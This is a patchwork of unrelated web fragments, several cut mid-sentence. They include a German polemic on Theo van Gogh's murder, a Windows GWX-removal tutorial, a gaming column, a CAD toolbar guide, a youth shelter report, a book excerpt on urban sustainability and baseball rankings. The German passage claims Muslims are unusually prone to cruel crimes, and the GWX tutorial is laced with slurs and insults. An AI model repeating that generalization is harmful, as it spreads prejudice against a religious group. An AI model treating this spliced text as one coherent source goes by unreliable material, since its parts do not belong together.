And with that, he shakes my hand, says, “Nice talking to you, buddy!” and wanders off, back into the honeycomb netherworld between Tinseltown myth and regular guy in an uncomfortable suit, where David Lynch is once again in control.
This story originally appeared in the April 2017 issue with the title “Welcome Back to Twin Peaks.”
Watch Now:Von Jürgen Fritz
Vor 13 Jahren geschah in den Niederlanden etwas, das das ganze Land in eine Schockstarre versetzen und nachhaltig verändern sollte. Jetzt wurde immer mehr Menschen klar: die Multi-Kulti-Gesellschaft war gescheitert. Dieser Traum von Sozialromantikern war geplatzt. Was war passiert?
Ein enfant terrible im Kampf für Freiheitsrechte
Theo van Gogh war ein niederländischer Filmregisseur, Publizist und Satiriker. Er war ein Urenkel des Bruders von Vincent van Gogh und galt in den Niederlanden als enfant terrible. Mit provokanten, auch zynischen Äußerungen und Spott löst er immer wieder Kontroversen in den Medien hervor. So kritisierte er die multikulturelle Gesellschaft, die einen Angriff gegen die „Normen und Werte der westlichen Gesellschaft“ darstelle und den „aggressiven und rückständigen Islam“ verteidige. Van Gogh beschränkte sich aber keineswegs auf islamische Themen, er attackierte ebenso jüdische und christliche Werte und Symbole. Der Einsatz für Freiheitsrechte war ihm ein ganz besonderes Anliegen.
Submission (Unterwerfung)
Einen seiner letzten Filme, Submission (Unterwerfung), erstellte er in Zusammenarbeit mit der ehemaligen Muslimin und Islam-Kritikerin Ayaan Hirsi Ali. Der Film handelt von vier muslimischen Frauen, die über ihre Missbrauchserfahrungen sprechen. Zu sehen sind die verschleierten Gesichter der Erzählerinnen und ihre durchsichtig bekleideten Körper, beschrieben mit fünf Suren aus dem Koran, die die Frau zur Unterwerfung unter ihren Ehemann auffordern. Ihre Körper sind gezeichnet von Schlägen und Striemen.
Die Fernsehausstrahlung im August 2004 führte zu heftigen Reaktionen unter Muslimen, woraufhin Hirsi Ali wegen mehrfacher Morddrohungen zeitweilig unter Polizeischutz gestellt wurde, nicht jedoch van Gogh, der ebenfalls Morddrohungen erhielt. Doch bei diesen Drohungen sollte es nicht bleiben.
„Nun wisst ihr auch, was euch erwartet“
Anfang November 2004 ist van Gogh morgens gegen 08:45 Uhr mit dem Fahrrad unterwegs ins Filmstudio zur Abnahme seines Dokumentarfilmes 06/05 über die Hintergründe des Mordes an dem Politiker Pim Fortuyn. Nach Augenzeugenberichten wird er nun von einem Mann auf dem Fahrrad eingeholt, der sofort auf ihn zu schießen beginnt. Van Gogh stürzt vom Rad, blutend schleppt er sich über die Straße. Mitten im Berufsverkehr. Aber sein Mörder folgt ihm. Schießt weiter auf ihn ein.
Als van Gogh mit acht Schüssen niedergestreckt am Boden liegt, soll er gesagt haben: „Gnade! Wir können doch drüber reden!“. Aber dieser Mann will nicht mit ihm reden. Mit einer Machete schneidet er ihm die Kehle durch. Theo van Gogh wird regelrecht abgeschlachtet. Auf offener Straße. Am hellichten Tag. Mitten in Amsterdam. Und alle schauen zu. An die Leiche heftet der Mörder mit zwei Messerstichen ein fünfseitiges Bekennerschreiben, welches auch eine Morddrohung an Hirsi Ali enthält.
Einen fassungslosen Passanten neben dem blutigen Leichnam motzte der Killer an, was es denn da zu glotzen gebe. Auf die schockierte Bemerkung „Das kannst du doch nicht machen!“ antwortet er: „Und ob ich das kann! Und nun wisst ihr auch, was euch erwartet.“ Dann verlässt er ohne jede Hektik den Tatort.
Theo van Gogh wurde auf offener Straße regelrecht hingerichtet, weil er einen Film gedreht hatte, der zeigte, wie im Islam Frauen unterdrückt werden.
„Ich habe keine Sekunde Bedauern verspürt“
Der Attentäter Mohammed Bouyeri liefert sich kurze Zeit später einen heftigen Schusswechsel mit der Polizei, bei welchem zwei Beamte verletzt werden, bis der Täter endlich kampfunfähig geschossen werden kann. Der Mann besitzt die marokkanische und niederländische Staatsbürgerschaft.
Sowohl das auf dem Opfer zurückgelassene Bekennerschreiben als auch ein Abschiedsbrief, den der Attentäter bei sich trug, lassen darauf schließen, dass der Täter aus einem radikalmuslimischen Hintergrund heraus handelte. Einige Zeit später wird Theo van Goghs Sohn laut seiner Familie mehrfach Opfer von Übergriffen muslimischer Jugendlicher.
Bei seinem Prozess sagt Mohammed Bouyeri dem Richter, als Muslim dürfe er jedem „den Kopf abhacken“, der Allah beleidige. Er würde es jederzeit wieder tun. In Briefen an islamische Hilfsorganisationen, die ihn von außen tatkräftig unterstützen, äußert er bis heute seinen Triumph: Er habe keine Sekunde Bedauern verspürt.
Warum geschieht solches wieder und wieder und wieder?
Um zu verstehen, was in solchen Menschen wie Mohammed Bouyeri vor sich geht, vor allem aber um sich klar zu machen, warum gerade immer wieder Muslime auffällig gehäuft zu solch grausamen Verbrechen fähig sind, muss man das tun, wovor sogenannte ‚Islamexperten‘ und ‚Islamwissenschaftler‘ sich zumeist scheuen, nämlich die islamische Weltanschauung schonunglos in ihrer Tief |
trieved and used as if carried on the person.” Notably, the law does not make an exception for law enforcement agents.
The ordinance, which was written and put forward by councilman Paul Krekorian, will make its way to Mayor Eric Garcetti’s desk and become law 30 days after he signs off. After that, violations will be met with fines up to $1,000, imprisonment in the county jail, or both.
The ordinance, which follows another passed in July banning the possession of large-capacity ammunition magazines, regulates handguns only in residences within the city’s limits, but the document seems to make a case for wider reform. More than half of the five-page order details the national impact of firearm injuries on public health. “We hope it will be a model for other cities,” says Krekorian, who is at work on additional legislation related to gun violence. “[It’s an] important step forward by the city of Los Angels in changing the dialogue about guns and keeping the public safe.”Catering to the Least Common Denominator
Games are becoming more and more acceptable and socially normal in today’s society. Whereas before, when only the geeks and nerds were the ones gaming, now almost anyone can be considered a gamer, from an eight-year-old girl playing Scribblenauts to a college frat boy fragging noobs in Call of Duty, from a middle-aged mother playing FarmVille on Facebook to a grandparent bowling on the Wii at a family gathering. It’s harder to find someone today that doesn’t play games on at least a semi-regular basis than it is to find that does.
As a result of the gaming industry’s growing popularity, however, developers and publishers are quickly realizing the market they’re releasing to is expanding rapidly, so they have to step up their game in what content they release to the world. While some studios have begun working on titles and genres they wouldn’t have otherwise touched–such as THQ trying to release children’s games, for instance–other companies are taking some of the hardcore crowd’s favorite titles and significantly changing or adding unnecessary content to them in an effort to appeal to a much larger demographic to bring in the most profit possible. While this isn’t necessarily a bad thing, it’s not necessarily good either, and I’m nervous as to where the industry could end up if it makes all its games catering to the widest range of gamers possible.
An Emotional, Chilling, Single-Player Experience–Now with Multiplayer!
The idea of adding multiplayer to franchises that never had it before is a habit gaining momentum that I can’t support in most instances. Too many games nowadays have bland and forgettable co-op or multiplayer modes tacked onto them in an effort to please more people, and, more often than not, these needless additions take away from the overall experience more than they add to them.
Take Far Cry 3 for example. The single-player experience in this game was pure bliss, something I’ll remember for a long time. While the story length and character development fell short, the game as a whole excelled at offering fans a fun and mesmerizing single-player experience. But play the co-op and you’re sure to be disappointed. The co-op narrative stood as an excuse to let players kill baddies together, the stealth was broken, and the entire mode felt needlessly tacked on. I love co-op options in games, but if they’re not done as well as the single-player experience, why add them? The time spent providing players with a mediocre co-op mode could have been spent making the single-player story longer or adding on more side missions. I would have preferred that to the bland addition Far Cry 3 provides.
The new Tomb Raider faces the same thing. While I have yet to play it or its multiplayer component, there are reports that it pretty much sucks. It’s even being handled by a different developer than one making the story-based game, which is a recipe for disaster in itself. Tomb Raider doesn’t need a multiplayer mode in order to survive. No one even really wanted one. But there it is, in all its average glory.
BioShock 2, an older example, is guilty of this as well. Their uncreative attempt at multiplayer was no more than a cardboard cutout deathmatch clone and warranted no more attention than it received, which wasn’t much. I feel that had BioShock 2 stayed away from multiplayer, it would have reached the level of greatness that the original had. Apparently the franchise has learned from its mistake, considering the upcoming BioShock Infinite will have no multiplayer component attached.
Why do developers do this? Well, for one, they want to cut down on used game sales so more money goes to them instead of GameStop, which makes sense. Game development is a business, after all. And the addition of multiplayer may attract a bigger chunk of people to buy their game than if it had just been a single-player experience. But while developers are trying to collect as much cash as possible, they’re sacrificing their integrity and taking away some of the joy that could have been a reality had their game stayed strictly single-player. This isn’t to say that all single-player franchises can’t successfully add multiplayer onto their games. Mass Effect 3 and Assassin’s Creed did it well enough. But if developers can’t make a multiplayer or co-op mode at least half as interesting as its single-player counterpart, they’d be better off staying away.
Changing the Game
Plenty of franchises are also guilty of changing their successful formula to a more “dumb-downed” or action-oriented one in order to please the least common denominator and maximize sales. A game that comes to mind is Splinter Cell: Conviction, a 2010 stealth game based on the long-running franchise dating back to 2002. The first Splinter Cell had players control a secret agent named Sam Fisher who was instructed to avoid combat rather than engage in it. Players succeededl by avoiding detection, hiding bodies (bodies they shouldn’t have been creating in the first place), and sneaking through entire missions. If you got into a fire fight, you either failed the mission immediately or were very likely to die.
Conviction, however, turned the franchise into a much more fast-paced experience. While the stealth element is still in play, it’s not as crucial to the game. Players can even perform instant kills on multiple foes at once by tagging them then pressing a button to shoot them all in quick succession automatically. This is a concept far removed from the original’s gameplay. Does that make Conviction a bad game? No. As a matter of fact, I loved it, and I can’t wait for the next installment, Blacklist, to release. However, I’m sure there were more than a handful of diehard fans that were upset with the series’ drastic change, and I can’t say I blame them. Splinter Cell had a fair share of fans that loved the series to death when it first started. Now it has a wider audience of fans, but I’ll bet these newcomers don’t harbor the same unconditional love the original’s fans did. That’s because the game has been transformed into something to appeal to a much wider audience, sacrificing the desires of its most loyal fans in service to those who may not have ever played the series before.
Another game guilty of both an addition of an unnecessary multiplayer component and changing its DNA to suit the masses would be Dead Space 3. When I saw the original trailer that featured co-op gameplay, I literally laughed aloud at the idea. Dead Space has always been about the feeling of isolation and abandonment as you slowly navigate the halls of a dying ship, warding off disturbing creatures wherever they may appear. Adding in co-op takes away the survival horror element and turns the game’s genre into a third-person action game. There’s no intensity, no fear, no dread of the unknown when you’ve got a buddy by your side. Regardless of how good the game is, by adding in co-op, Dead Space 3 became just another shooter. The original was praised for its terrifying atmosphere and sense of seclusion; that’s lost when another player drops in to help you out.
I’m not saying all games guilty of doing these things are in the wrong. As a matter of fact, as I’ve already mentioned, some of them benefit from changing their classic blueprint, such as Assassin’s Creed, Mass Effect, and even Splinter Cell. However, if it becomes a norm for developers to cram as much content into their games or change their formula so much that they’re hardly recognizable just to gain mass appeal, we’ve failed as an industry. Sometimes it’s a good thing that not everyone who calls themselves a gamer enjoys a specific title; if they did, you’d have something worse than Call of Duty, and who wants that?
0 SharesDuring an interview I was once asked “You’re a mechanical engineer why did you get into programming?” My response was “I’m lazy and repetitive tasks are boring!” Some repetitive tasks do not lend them selves to automation, however, they are still boring and error prone as your mind wanders. This post details how creating a custom toolbar in Catia that can alleviate some of this tedium. These methods can be extrapolated to just about anything. For example I have a specific toolbox that I use when working on: mountain, road or now kids bikes.
I assigned myself a project for my next blog post which was going to require the manipulation of many similar point clouds of data. After completing the first couple in the large pile I thought about automation however most of the user actions were screen clicks which would change with each iteration. A custom toolbar that that brings every function that will be needed into a single place seemed like the right balance between getting to work and procrastinating on what the most efficient way to proceed would be.
In Catia V5 first select the workbench that you would like the toolbar to show up on. Then go to Tools>Customize then click on the Toolbars tab and select New. From here go to the Commands tab and drag and drop commands to the new toolbar.
Whenever I create a toolbar I can’t find the name of at least 1 command. Many icons I use on autopilot and simply go to the icon by instinct. If this happens simply hover over the icon and the name will show up. If the command is in another workbench you can accept the Toolbar as is and then browse to the workbench that has your tool to discover it’s name. Then switch back to the workbench you were on and edit the new toolbar. Here the final step after Joining all of the surfaces together was to create a solid geometry in Part Design. I couldn’t remember the name of the function to turn watertight surfaces into a solid.
Once it was discovered that it’s Close Surface I went back in and added this.
Here is the completed toolbar in all of it’s glory! This grabs functions from 4 different workbenches. Eliminating the need to constantly switch workbenches is the biggest benefit in this specific case. My workflow progresses from left to right on the toolbar making the task quicker and less error prone.
Please, be sure to close down Catia. If it crashes, which does happen occasionally you will loose your customization unless you close which saves your settings. I also periodically save a copy of my settings just in case. I also frequently push these settings when training others. To save browse to C:\Users\(*UserName*)\AppData\Roaming\DassaultSystemes. I typically zip up my settings and name it as CATSettings appended with today’s date.
Pleases help us by: liking, subscribing, retweeting or whatever else can be done today! It really does help. Contact me though email if you have any questions about this post or others.
Thank you.
Rob Stupplebeen
Rob@OptimalDevice.com
PS: Saying “I’m lazy and repetitive tasks are boring!” may not be the best strategy in an interview but the look on the interviewer’s face is priceless!Temporary Housing For Young People, By Young People
Enlarge this image toggle caption Ari Daniel for NPR Ari Daniel for NPR
Homelessness is hard enough, but being a young adult and homeless brings its own set of challenges. No longer eligible for family shelters, 18- to 24-year-olds can be targets of theft and assault by older homeless adults, experts say. In Boston, a new homeless shelter just opened — for young adults only.
The night before the shelter opens, there is a celebratory dinner in the basement of the First Parish church in Harvard Square. The space has been through a $1.3 million renovation, with funds coming from foundations, grants and donations.
It looks like an upscale youth hostel. There's bright wood paneling. Surfaces painted lime green. Twenty-two beds decorate the far wall like an elaborate tree house. This is the new location of Y2Y — a shelter for young adults only. And now, it's almost ready for business.
One thing that makes Y2Y special is the staff — every one of them is a young adult, a lot of them Harvard University students and almost all of them volunteers, such as Needham Hurst and Ian Meyer, who are staffing the lottery line the morning before the shelter opens. All seven of the people who enter the lottery get beds. They're just a handful of the hundreds of young adults in Boston who are homeless.
It's a need that Sarah Rosenkrantz and Sam Greenberg — the 23-year-old Y2Y co-founders and co-directors — are intent on addressing. "Just telling our peers that we don't believe they should be homeless, and we want to work together to fix this issue," Rosenkrantz says.
Greenberg adds that they have an obligation to ensure that all of their peers are safe, warm, welcomed and supported. Y2Y will offer other services as well.
Enlarge this image toggle caption Ari Daniel for NPR Ari Daniel for NPR
"We have student case managers, we have volunteers who participate in legislative and public advocacy, we'll have workshops — things like financial literacy, storytelling, poetry, like public speaking," Greenberg says.
The other thing that's special about Y2Y is that at every turn, young adults who are or have been homeless have advised the shelter's planning, as part of a youth advisory board. Ayala Livny consults on programs related to homelessness.
"I think that it'd be negligent to try and create a shelter for young adults without getting the actual input of young adults who are going to be staying at the shelter," says Livny.
Such as 23-year-old Andrew Giampa, who serves on the youth advisory board.
"We've come up with pretty much all aspects around Y2Y between policies, furniture, regulations," Giampa says.
One of those policies is length of stay, which is up to 30 days. There's also a drug and alcohol policy. And rules for whether you can have a pet. And it was this board that replaced a list of rules with a list of responsibilities, to allow young people to feel ownership over the space.
But now, everyone's focused on the opening, just moments away. There are last-minute signs to post, and vegetables to chop for dinner. Finally the doors open. Twelve young people end up spending the night.Excerpted from America’s Most Sustainable Cities and Regions: Surviving the 21st-Century Megatrends, by John W. Day and Charles Hall (with contributions from Eric Roy, Matt Moerschbaecher, Chris D’Elia, David Pimentel and Alejandro Yáñez). With permission of the publisher, Copernicus Books, a Springer imprint. Copyright © 2016. All Rights Reserved.
In spite of their enormous requirements for materials and energy, and their enormous generation of wastes, many see urban living as the sustainable future for most of humankind in the twenty-first century. But there are serious issues for urban areas, especially very large ones in both the developed and developing world, given the interrelated problems of climate change, and energy and resource scarcity, and the importance of natural systems for society. These interrelated problems will pose constraints for all of society, but they will be much more challenging and difficult to solve for very large urban areas. Let’s look at this in more detail.
Cities are touted as efficient living areas compared with suburban and rural areas. Why are cities considered as the solution to many of the problems that we face in this century? The efficiency of mass transit, bicycles, and walking, shorter commutes, and smaller more efficient living spaces are reasons often cited. David Owen, in a well-quoted article in The New Yorker, wrote that “the average Manhattanite consumes petrol at a rate the country as a whole hasn’t matched since the 1920s.” Owen goes on to state that “eighty-two percent of Manhattan residents travel to work by public transit, by bicycle or on foot” or “ten times the rate for Americans in general.” But in the greater New York City area, 56% of residents drive to work. According to this same study, New York City has the longest commute time at 35 min and the fifth highest congestion score of the ten cities in the U.S. with the worst traffic. Elizabeth Farrelly writes in Blubberland that density is the key to sustainability. “If we were to design a green settlement-pattern from scratch, it would not be suburbia, or urban villages, or Greek fishing towns, or even say, Barcelona. It would be Manhattan. Manhattan – or something like it – is the greenest city on earth.” Is Manhattan really that green? We will come back to the concept of green later, but one point is clear. There will need to be fishing towns in Greece and many other places if the millions inhabiting Manhattan want to continue to eat fish!
In Triumph of the City, economist Edward Glaeser states that “New York State’s per capita energy consumption is next to last in the country, which largely reflects public transit use in New York City.” Glaeser goes on to state “traditional cities have fewer carbon emissions because they don’t require vast amounts of driving. Fewer than a third of New Yorkers drive to work, while 86 percent of American commuters drive. Twenty-nine percent of all the public-transportation commuters in American live in New York’s five boroughs.” But is less driving the reason New York State has low per capita carbon dioxide emissions? We will come back to this question shortly.
In the spirit of the efficient and green city, Scientific American magazine devoted an entire issue to the idea that cities are the future for mankind. It featured a two-page spread (pp. 74–75) entitled The Efficient City. The picture is of a thoroughly modern high-density city with gleaming multistory buildings interspersed with (relatively small) green spaces and clean streets with little traffic. This city apparently doesn’t have poor people as there is nothing that looks like a low-rent district. Included in the example are a number of “creative solutions to reduce energy consumption, water use, waste and emissions.” Some of the features are solar power (photovoltaic, hot water heaters, and solar films), high efficiency windows, carbon sequestering concrete, green roofs, vertical farms (no need to depend on ecosystem services for this agriculture; we will come back to the idea of urban farming in a later chapter on food), hybrid taxis, underground and smart parking, irrigation systems controlled by satellites, sewage sludge incineration, efficient appliances, and storm-surge gates to protect low-lying parts of the city (especially important for New York and New Orleans, two cities featured in the next chapter). Some of these solutions, such as solar power, high efficiency windows, and efficient appliances, could be used for suburbs and even rural areas, but high-density living likely does foster lower direct energy use for transit and heating and cooling. However, almost all gasoline consumed in the U.S. is consumed in metropolitan areas (in the broader sense) because this is where most people live (see map below). In addition, there are large indirect energy and material demands that are not often accounted for in calculations of urban energy use. An example is all the energy and materials it takes to get gasoline to an urban consumer, whether for a car or bus, (searching for and drilling wells, pumping the oil to a refinery that converts the oil to gasoline, and transporting the gas to a network of gas stations) and, in fact, almost everything from building materials to artificial lighting to clothing to food that is used in a city is produced elsewhere, often at high energy costs. The same issues are at play on a global scale. When economists claim that the US economy as a whole has become less energy intense (defined as energy used per unit of gross domestic product or GDP), part of what they are really saying is that energy-intensive and highly polluting industries such as aluminum- and steel-making have been outsourced to regions and countries where labor is cheaper and environmental regulations are less stringent. However, our need to consume these imported products, often shipped over long distances, only increases, and particularly in densely populated urban areas with the sophisticated infrastructure of “The Efficient City.”
The red and orange areas on the map below showing high gasoline use would overlay well on a map of the “megaregions” in the U.S. where the majority of the population is located, showing that heavily populated areas burn more fuel. Any proposals to reduce gasoline use need to focus on metropolitan areas. Manhattan may have a high use of public transit, but what about the whole 21 million strong metro area in New York and northern New Jersey?
Total gasoline use by county in the United States. (Source: National Resources Defense Counsel (NRDC). This map originally appeared on NRDC’s Switchboard blog: http://switchboard.nrdc.org/blogs/dlovaas/CNTYgas.consumption.jpg)
Let’s come back to greenhouse gas emissions. The U.S. Energy Information Agency produced an inventory of direct carbon dioxide emissions by state from 2000 to 2010. The information in this report is illuminating. If we look at energy-related per capita carbon dioxide emissions by state in 2010 there are some striking differences. At one end of the spectrum are states with high CO 2 emissions per person. Kentucky, Montana, Louisiana, West Virginia, Alaska, and North Dakota all have emissions of more than 35 metric tons of CO 2 per person with Wyoming being the highest at 118 tons per person. At the other end are states with less than 15 tons per person. These include almost all of the northeast states as well as California, Idaho, Oregon, Washington, and Florida. New York is last among the states at 8.8 tons per person. Only the District of Columbia is lower at 5.4 tons per person.
If we look at how many tons of CO 2 are generated per million dollars of GDP, there are also some striking differences among states. Most of the states in the Northeast plus Washington, Oregon, and California produce less than 350 tons of CO 2 per million dollars of GDP. By contrast, Alaska, Kentucky, Louisiana, Montana, North Dakota, West Virginia, and Wyoming all produce more than one thousand tons CO 2 per million dollars GDP. Thus, the states that have low per capita direct emissions also produce less direct emissions per unit of GDP. And the states that have high per capita direct emissions also have high direct emissions for each million dollars of GDP.
Are there lessons that the folks in states like Louisiana, North Dakota, and Kentucky can learn from people in New York, Rhode Island, and Vermont about lowering their emissions and being more efficient? Yes and no.
Lower emissions are not necessarily due to the fact that people in New York State, Vermont, or Massachusetts drive less or have smaller houses. And it’s not necessarily because the average West Virginian, Louisianan, or Montanan personally uses huge quantities of energy or drives long distances that they have such high per capita total emissions. At least partially, it has to do with the nature of the economy in the different states and the particular area (central city versus suburbs) that is being considered.
Let’s compare two states at different ends of the emissions spectrum, New York and Louisiana. On average, New York annually produces about 10 metric tons of CO 2 per capita compared to about 50 tons per year for Louisiana. But here’s the most important difference in energy use between the two states: the industrial sector. Each year, the industrial sector in Louisiana produces 128 million metric tons of CO 2, compared to 9.1 million tons in New York. Texas is even higher with 211 million tons. This is because Texas and Louisiana have the highest concentration of refining and petrochemical industries in the nation.How to remove the Windows 10 GWX upgrade nonsense
Updated: June 3, 2015; May 25, 2016
Note: You can also permanently You can also permanently block Windows upgrades!
The story goes as follows. Several days ago, on one of my Windows 7 boxes, I did some updates. Cool beans, Then, a couple of days later, I suddenly noticed a Windows 10 like icon in my system tray. Turns out, this one belongs to a process called GWX.exe, and it is a part of Windows update KB3035583, which is deceptively labeled as an important one and preselected, intended to give Windows 7 and 8.X users an option to freely upgrade to Windows 10. Well, so far so good.
But then, I decided I was not interested. However, removing this thing off proved to be a very difficult task. I could not disable the scheduled tasks that reactivates the process every few hours, and you need special permissions to edit the folder containing the gwx.exe binary. In other words, all of a sudden, my perfectly reasonable Windows 7 has been altered without my consent, and now I did not have freedom to do what I want. This annoyed me so much that I started writing a tutorial on how to get rid of this piece of shit. Follow me.
Symptoms you will see
So first, there's the system tray icon, its associated right-click set of actions and the crappy prompt that tells you how great Windows 10 is. I don't mind Microsoft trying to offer their product, but if I decide I DO NOT WANT IT, then there must be a way to disable it, otherwise, it's no different than any spyware popup really.
If you try to disable the scheduled tasks, under refreshgwxconfig-B, then you will realize that you do not have the right permissions to do that, even if you're an administrator. Again, almost malware-like behavior, since it restricts your freedom.
Likewise, if you try to change the GWX folder, which resides under Windows\System32, then, once more, you will realize that you don't the right permissions to tinker, as Microsoft decided they don't want you to be able to stop this offering.
And the end result is very simple. It does not matter if Windows 10 free upgrade is good or not. It does not matter if Microsoft has benevolent intentions. The moment you push me into a corner, you corporate pieces of crap, I will fight back with all I can, and you have just turned a loyal owner - and a shareholder - into an enemy. You have made me into a detractor. You have obliterated all and any chance of me ever wanting to even consider upgrading my Windows 7/8 boxes to the new version. You morons.
Now, we will have a tutorial explaining how you can disable this diarrhea, and get back control over your system. Then we will go into a few more reasons why Windows 10 has just become an undesired piece of software. Thank you, Microsoft, that's a delectable move on your end. To business, then.
Solution, step 1: Take ownership of the GWX folder
What you need to do is take ownership of the GWX folder. Right-click, Properties. Then, go to the Security tab, click Advanced. Under the Owner, click on Edit. Select your account rather than whatever crap Microsoft has preselected. Make sure you tick the box that says subfolders and whatnot. Apply the change. Ignore the warnings and prompts.
Solution, step 2: Change folder permissions
Once again, for the relevant folder, we need to sort out the permissions. On the right tab, click Edit. Then, select your user. Change the permissions to Full Control, and apply. Then, rename the GWX folder to something like GWX.old. And just in case, inside this folder, you may also want to consider renaming the four executable files. Just use any which extension to cripple their executability. Problem solved.
Just in case, delete scheduled tasks
Now, here is how you do this. We will need to fire up the registry editor, navigate to the correct hive and delete several entries from the task scheduler cache and tree. So let's do this then. This is the path you want to open:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Schedule\TaskCache\Tasks\
Here, you will now need to carefully go through all the available entries. The GWX ones will be assigned random hash values, so you will have to look in the right pane and identify the correct ones. They should have the string GWX under Path. There should be around six of them. For each, right-click on the entry in the left pane and export. This is a sort of backup, in case something goes wrong. Then, delete the entry.
Now, open the task scheduler. It should complain about missing tasks. This is a good first step. Verify that the scheduler tasks corresponding to refreshgwxconfig-B are indeed gone from your system.
In the registry, navigate to a slightly different path - almost identical to the above:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup
In this hive, search for the Setup entry, which should have gwx and GWXTriggers under it. Export both these entries, and then delete them. Launch the task scheduler, and it should run clean, pristine and without any errors.
Just in case, check Windows Updates
To make sure you have not been probed without your consent, launch the Windows Update tool and check if you have accidentally reserved a copy. If you haven't, then you will see a big bloody frigging banner telling you about Windows 10. Talk about aggressive ads. If you have, I will have to research what happens come July 29. Sorry, but I don't have a quick answer.
For now, I recommend you disable automatic updates, if you have them, and set your system to notify you, or maybe even use manual updates. You should do this for at least until after Windows 10 has been released, make sure you double and triple check EVERY single offered update, be they security, critical, important, or recommended. Also make sure you use imaging software so that you can easily roll back if needed.
The thing is, Microsoft could just have kept that banner there. No, it had to go full retard by offering a whole framework, and make it locked from users just to stoke the flames of hatred. That's how it is. Stupidity.
Other options
We fought a similar kind of problem with Windows Defender in Windows 8.1, but there, I showed you a different kind of solution. Instead of playing with permissions, we just booted into a live Linux session and edited permissions that way. Consider it, too.
Why not uninstall the update?
So why not indeed remove the update. Well, because 1) it requires a reboot, and why should you reboot when not necessary 2) the update will then come back, even if you hide it, yup 3) this way you have full control; the update is there as far as Microsoft is concerned, but you have the power now. You are the pimp master.
Why Windows 10 is not an option?
It is not a bad system. It is better than Windows 8, and it does bring the menu back, which is an important productivity step. But even the recent builds, and I've tested them all, do not fully solve the issue of the generic search when you turn Cortana off. If you want to work smart and sensible, you have to use Classic Shell, but at the moment, it does not search well through the Metro crap applications, like the entirely new Settings menu, so you can pin that one to the taskbar, but overall, we need some extra love from the Classic Shell team.
You keep getting random generic Bing advertising, news shit, and the image of the day, all of which cater to the lowest common denominator, some random hillbilly somewhere with the IQ of a potato that has been mangled by a combine harvester and left to rot in the sun for a bit too long. Just look at that crap below. Look at it! Take your shitty moronic news and shove them where it shineth not.
How this could have been avoided?
Very simple. Microsoft could just have added a little button that says: do not offer this in the future, or maybe even, postpone for 30 days or something. Give the user a feeling that they count, that their desires count. This way, they simply alienate power users, people who do not want to upgrade their boxes, and people who value their freedom. All in all, this is a classic case of marketing wanking that could have been so easily avoided. One simple little button so that Microsoft does not come across as morons peddling idiocracy. One simple little button that gives users a choice. That's all.
Final step
A big hearty salute to the corporate morons out there:
Conclusion
This thing pissed me off so much that the only reason why this isn't just a swearword rant is because I genuinely want to help people, so I am trying to stay coherent. Windows 10 is not angel tears, and it's definitely not heading in the right direction. And this promotional crap is making things worse. Not letting users even disable a scheduled task? Are you trying to best malware writers at their game? You retards.
Don't get me wrong. Microsoft is a very capable company, and they have a strong future ahead of them, especially in the enterprise sector and the cloud business. I even own a tiny handful of their stocks, which makes me entitled as any other shareholder, so if you feel like sidelining my fine criticism, think again. But this is a bloody red line. The moment you start tinkering with my freedom, there's gonna be Thor's rage hammering down on you.
I hope this article helps you gain your peace and quiet back, and that you can go back to enjoying Windows 7 (or maybe 8) the way sane people should. And once Microsoft decides to get off the monkey jerkfest tree that Apple and Google are so fond of, then we can go back to discussing things in normal tones. You want morons for your users? Fine, you will get morons. You want smart people on your side, make sure you give them the respect and dignity they deserve. One-size-fits-all fascism does not cut it. I'm not playing the moronity game. If and when my awesome four-digit IQ deteriorates enough for me to consider Bing news, or any other mainstream feces, even remotely interesting, I will bow down to this idiocracy gangbang. Till then, you will have to give me a bloody button that reads choice.
Windows 10? I considered it briefly, now I don't wanna. Just because. There's choice for you. Put that in some presentation there under Lesson Learned or Constructive Feedback from Happy Customers. It's no longer technology. It's emotions now. Bye bye.
P.S. Alternatively, you can use GWX Control Panel to stop this annoyance.
P.P.S. I have several detailed guides on Windows 10 privacy, if you're interested.
P.P.P.S. If you find this article useful, please support Dedoimedo.
Cheers.As many of you know by now, I am a die-hard Reds fan. So when Johnny Cueto was traded to the Kansas City Royals, I was sad to see him leave, but was glad to see the Reds front office actually make a trade.
A lot of Reds fans have complained about the return for Cueto because it didn’t include Kyle Zimmer, Raul Mondesi, or Sean Manaea. I personally think that the Reds made out like bandits in this deal acquiring a lefty with a lot of potential in Brandon Finnegan, a former top prospect in John Lamb, and a sneaky good lefty in Cody Reed. My guess is that this is the beginning of a massive fire sale with Mike Leake, Marlon Byrd, Jay Bruce, and Manny Parra all being dealt to other teams.
Removed from the list
• Stephen Piscotty – called up
• Michael Conforto – called up
• Joe Ross – called up
• Zach Lee – called up
Major League Prospects - Fantasy Power Rankings
To be clear, this list is not the top 30 prospects in baseball. This is a list of the top 30 prospects who are likely going to rise to the major leagues and provide fantasy baseball value this season. The qualifications are simple: a player must not be on an active roster, they must have a clear path to the majors, and while they may have played in seasons prior to 2015, they must still have rookie eligibility. If a player is moved to the active roster of their team, they will be removed from this power rankings list and replaced.
1. Corey Seager (SS, LAD, AAA) – LW: 1
Stats: 374 PA,.301/.348/.506, 13 HR, 3 SB, 12.8 K% rate, 6.4% BB rate
ETA: Late August / Early September (expanded rosters)
Jimmy Rollins has started off the second half of the 2015 campaign playing much better than he had in the first half. And while this really hurts Corey Seager’s fantasy value, it doesn’t fully diminish it. There is still a chance that Jimmy Rollins is dealt in an effort to try and get Seager playing time. If Rollins remains with the Dodgers after the All-Star Break, Corey Seager may not see time until September.
2. Robert Stephenson (SP, CIN, AAA) – LW: 2
Stats: 100.1 IP, 3.59 ERA, 3.96 FIP, 9.87 K/9, 4.75 BB/9, 0.81 HR/9, 1.23 WHIP
ETA: Early August
At the moment, it does not look like Robert Stephenson will jump immediately into the rotation, but will instead make a few more starts at Triple-A. Tony Cingrani is going to be the replacement of Johnny Cueto in the rotation, but Stephenson should end up replacing Mike Leake once he is traded. The x-factor at the moment is the also MLB-ready pitcher John Lamb who was recently acquired in the Cueto trade.
3. Jose Peraza (SS, ATL, AAA) – LW: 3
Stats: 410 PA,.294/.319/.372, 3 HR, 25 SB, 8 |
his observations, deeply colored by his personal experiences during the Holocaust, Meyer compares Israel's current policies with the early stages of the Nazis' persecution of the German Jews.
http://www.youtube.com/watch?v=cSlFR541Uoo
http://www.youtube.com/watch?v=S2l_6QRicAI 14). Orthodox Jews protest Zionism
Masses of anti-Zionist Orthodox Jews march on the streets of Jerusalem in protest against the State of Israel on the Israeli Independence Day, April 29, 2009, followed by burning Israeli flags.
